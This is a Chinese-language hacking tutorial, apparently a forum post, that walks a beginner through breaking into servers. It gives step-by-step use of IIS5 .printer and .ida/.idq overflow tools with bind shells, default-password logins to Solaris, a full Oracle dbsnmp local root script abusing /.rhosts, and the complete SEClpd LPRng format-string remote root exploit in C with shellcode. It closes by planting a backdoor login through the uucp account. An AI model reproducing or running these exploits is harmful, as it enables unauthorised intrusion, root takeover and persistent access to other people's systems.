刚学黑客的时候，我天天都在聊天室里泡，找高手。问的无非就是，能教我黑QQ吗？能教我用木马吗？能教我~~~~~~
结果没有一个人愿意理我，现在我明白了，为什么他们不愿意理我，也不是他们自大！因为这，不被列为黑客技术！！！！！例如，你在现实生活中，请某人教你怎么样用石头咂别人的窗口，用锡纸裹着乒乓球点着后往某人家里丢。这是同样一个道理。这是很无聊的问题！！！
当然，写这文章的人也够无聊的^_^
至于想着黑QQ、黑江湖的朋友最好别看，因为这没你想学的！！！

废话少说进入正题：

基本知识：
你不要抱着读一篇文章就能成为黑客（或者计算机高手）。因为…这，是不可能的！！！学任何东西都是一步一步来的，你可以欺骗别人，但你骗不了你自己，你有几多少斤两你自己心里有数。
2.扫描：
在扫描先，我们先了解一下一些常用的扫描仪：
win系统的：
superscan ：一个扫描速度很快的端口扫描仪
twwwscan:一个很不错的漏洞扫描仪
x-scanner:国内比较不错的扫描仪，功能强大。（支持国产）
流光IV：不用说了，国内最著名的扫描软件。（支持国产）
unix：
nmap 数一数二的*.nix扫描仪。
nessus： 类似于twwwscan的漏洞扫描仪。

扫描仪的用法，看help就够了。以上都是我喜欢用的^_^

当然，扫描前还是要先找找目标：
如何确定目标呢？
OK，我们现在来试一下。
首先用superscan 扫描一个IP段，就来一个C类吧：）
把开放端口最多的站点找出来。
如：我们现在找到一个开放了21/139/1433/3389的站点。记住一点就是开放的端口（服务）越多，他的漏洞往往也是少不到哪去的
这样，扫描信息告诉我们，这是一个NT/2000系统了 这样就省事多了。
再用twwwscan扫描一下80
c:\>twwwscan www.target.com 80
过一会就会在你的C盘下有一个www.target.com.html文件，打开看看
上面会显示有关的漏洞。
（一般我很少用这个。因为流光已经足够了）
那就用流光来试试吧：）
先用CTRL+A启动高级扫描，写入IP（域名不行）。好，开工
出来了，漏洞还真不少
.printer 溢出。ida/idq溢出，都在。
嘿嘿~连mssql的sa 空密码也有了：）
好，先从.printer溢出开始。
流光IV的tool中有他的攻击程序。
C:\>iis5
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack,

usage: C:\IIS5.EXE <Host> <Port> <hosttype>

chinese edition: 0
chinese edition, sp1: 1
english edition: 2
english edition, sp1: 3
japanese edition: 4
japanese edition, sp1: 5
用法已经有了：）
再开一个窗口（命令提示符）。
c:\>ping www.target.com
得到的ip是192.168.0.1
好
c:\>iis5 192.168.0.1 80 2先别回车哦^_^
在另一个窗口着输入：
c:\>telnet 192.168.0.1 99
好，搞定。
把iis5回车。出现提示telnet 99端口后，用另一个程序连上去。如果万世的话会出现：
c:\winnt\system32>
试一下：
c:\winnt\system32>net user 看一下用户例表
好了，这样已经足够了，假设，现在用这个溢出不成功的话，别灰心，我们还有*.idq/ida的溢出。
现在我用的是snake的ida/idq溢出GUI版（本站有下载）
补攻击IP地址上，我们写上192.168.0.1 端口，用默认的80
系统类型:IIS Japanese SP0
溢出先项：溢出后一个端口溢监听。监听端口，用默认的813.
OK，最重要的就是要绑定的命令，默认的是 cmd.exe /c dir c:\把它改为
cmd.exe就行了。
打开一个命令提示符。写上
telnet 192.168.0.1 813
点击溢出，显示已经成功向目标机发送shellcode后，就在命令提示符上回车吧（要快哦，慢来就不成了：）
好了~~wow~~好咯，成功溢出了。
c:\winnt\system32>net user 看一下用户列表：）
好好，再来就是sa的空密码。利用这个漏洞的前提是，你必须有一个MSSQL Server。假设你已经有了，那就用流光自带的工具链接。
好了，这，就是常用的NT/2000的入侵方法。

现在是*.nix的啦。
*.nix与NT不同的是，他多了一个本地溢出，也就是说，你有一个合法shell那离root就已经不远了！！！
好，从简单的开始：
当然是得到shell咯，怎么得到一个shell呢？
最简单的方法还是靠猜，
telnet www.target.com
SUNOS 5.7
login racle =========系统默认帐号
passwd racle（这里是不显示内容的）
........
........
........
$ =======进来了^_^
$who ==========查看一下当前在线人数。
$mkdir /tmp/.x =======建立一个目录。
$cd /tmp/.x =======进入该目录
$whereis -b gcc =====看一下有没有gcc 一般SUN系统默认安装是不会有的，有的管理员会把他装在/usr/local/bin/gcc 下：）如果用whereis 后提示在该目录下那就省事多了^_*，如果没有也别气：）还有办法：）
$vi root.sh
---------------------root.sh------------------------------（这段别copy)
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You'll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
------------------------end-------------------------------（这段别copy)
$chmod +x root.sh
$./root.sh
......
.....
# =======~~wow~~~#出来了，也就是说你是root咯：）嘿嘿~
好，好，好~

还有就是了解一些漏洞：
如：
sun系统有一个比较危险的漏洞是finger
可以得到用户列表，得到用户后做什么？当然是猜密码咯：）得到一个合法的shell后呢？当然是用本地溢出来提升权限咯。
那如果没有合法用户是不是说就不能入侵了呢？当然不是，有很多的系统还是存在着远程溢出的。
如：redhat 7.0的lpd（515端口）
下着就以他为例来试一下
telnet www.tomy.com
login:tomy
passwd:
$su
passwd:
# ======是一个redhat 7.0哦~~
#vi seclpd.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000

char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};

struct target targets[] =
{
{ "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, },
{ "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, },
{ NULL, 0L, 0L, 0, 0, 0 }
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;

void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};

memset (address_buffer, '\0', sizeof(address_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));

for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;

if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] - copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), "%.*s",
(int)(num[i] - copied), "security.is!");
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), "%%.%du",
num[i] - copied);
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); }
} else {
tmp = ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
}

sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}

while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, "X");

#ifdef DEBUG
printf ("\nGeneration complete:\nAddress: ");
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)address_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
#endif

return;
}

char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;

memset (format_buffer, '\0', sizeof(format_buffer));

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);

(void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
targets[type].align, "BBBB", address_buffer);

strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);

for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, "\x90");

strcat(format_buffer, shellcode);

return (format_buffer);
}

int connect_victim()
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];

static char testcmd[256] = "/bin/uname -a ; id ;\r\n";

s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
return -1;
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}

if(brute)

printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);

printf("- [+] shell located on %s\n", hostname);
printf("- [+] Enter Commands at will\n\n");

failure = -1;

FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);

while(1) {

FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);

if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, "EOF\n");
return 2;
}

if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
return 2;
}

if(send(sockfd,buff,n,0)<0) break;

}
}
}

void send_code(char *exploit_buffer)
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";

s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
exit(-1);
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf ("--- [5] Unable to connect to %s\n", hostname);
printf("Exploit failed, %s is not running LPD!\n", hostname);
exit(-1);
}

usleep(DELAY);

if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf ("Couldn't write to socket %d", sockfd);
printf ("Exploit failed\n");
exit(2);
}

close(sockfd);
connect_victim();

}

void usage(char *program)
{

int i=0;

printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
printf("Types:\n\n");

while( targets[i].os_name != NULL)
printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name);
}

int main(int argc, char **argv)
{

char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;

if(argc < 3)
{
usage(argv[0]);
return 1;
}

hostname = argv[1];

if(!strncmp(argv[2], "brute", 5)) brute = 1;

while(( c = getopt (argc, argv, "t:r:c:a :w:k"))!= EOF){

switch (c)
{

case 't':
type = atoi(optarg);
break;

case 'r':
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;

case 'c':
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;

case 'a':
targets[type].align = atoi(optarg);
break;

case 'o':
offset = atoi(optarg);
break;

case 'p':
targets[type].position = atoi(optarg);
break;

case 'w':
targets[type].written_bytes = atoi(optarg);
break;

default:
usage(argv[0]);
return 1;
}
}

if(type < 0)
{
printf("You must specify a type!\n");
printf("example: ./SEClpd victim -t 0\n");
return -1;
}

if ( (he = gethostbyname (hostname)) == NULL)
{
herror("gethostbyname");
exit(1);
}

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");

printf("+++ Exploit information\n");
printf("+++ Victim: %s\n", hostname);
printf("+++ Type: %d - %s\n", type, targets[type].os_name);
printf("+++ Eip address: 0x%x\n", targets[type].eip_address);
printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address);
printf("+++ Position: %d\n", targets[type].position);
printf("+++ Alignment: %d\n", targets[type].align);
printf("+++ Offset %d\n", offset);
printf("\n");

printf("+++ Attacking %s with our format string\n", hostname);

if( brute > 0 )
{

printf("+++ Brute force man, relax and enjoy the ride ;>\n");
targets[type].eip_address = 0xbffffff0;

while(failure)

{
memset(exploit_buffer, '\0', sizeof(exploit_buffer));

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);

targets[type].eip_address = 0xbffffff0 - offset;

offset+=4;

if (offset > OFFSET_LIMIT) {
printf("+++ Offset limit hit, ending brute mode ;<\n");
return -1;

}
}
}

else

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);

printf("Argh exploit failed$#%! try brute force!\n");

return (-1);
}

:wq
保存后编译
#gcc -o seclpd seclpd.c
#./seclpd www.target.com -t 0
......
.....
........
.......
# ===不成功。
再试
#./seclpd www.target.com -t 1
.....
.....
.....
........
#=======还是不成功，靠，用brute
#./seclpd www.target.com brute -t 0
.....
.....
.....
.....
....
uid=0(root)gid=other(other)....
搞定
我不习惯这样没有一点提示的操作。先稿定系统用户telnet上去再说
passwd uucp
~hey~man~
~hey~man~

新开一个窗口
telnet www.target.com
login:uucp
passwd:~hey~man~ (无显示)
bash$ ======good。这样已经可以正常登陆系统了。
再接着就是提高权限了，方法和上面的本地溢出一样，到http://www.hack.co.za上有很多exploit 去找：）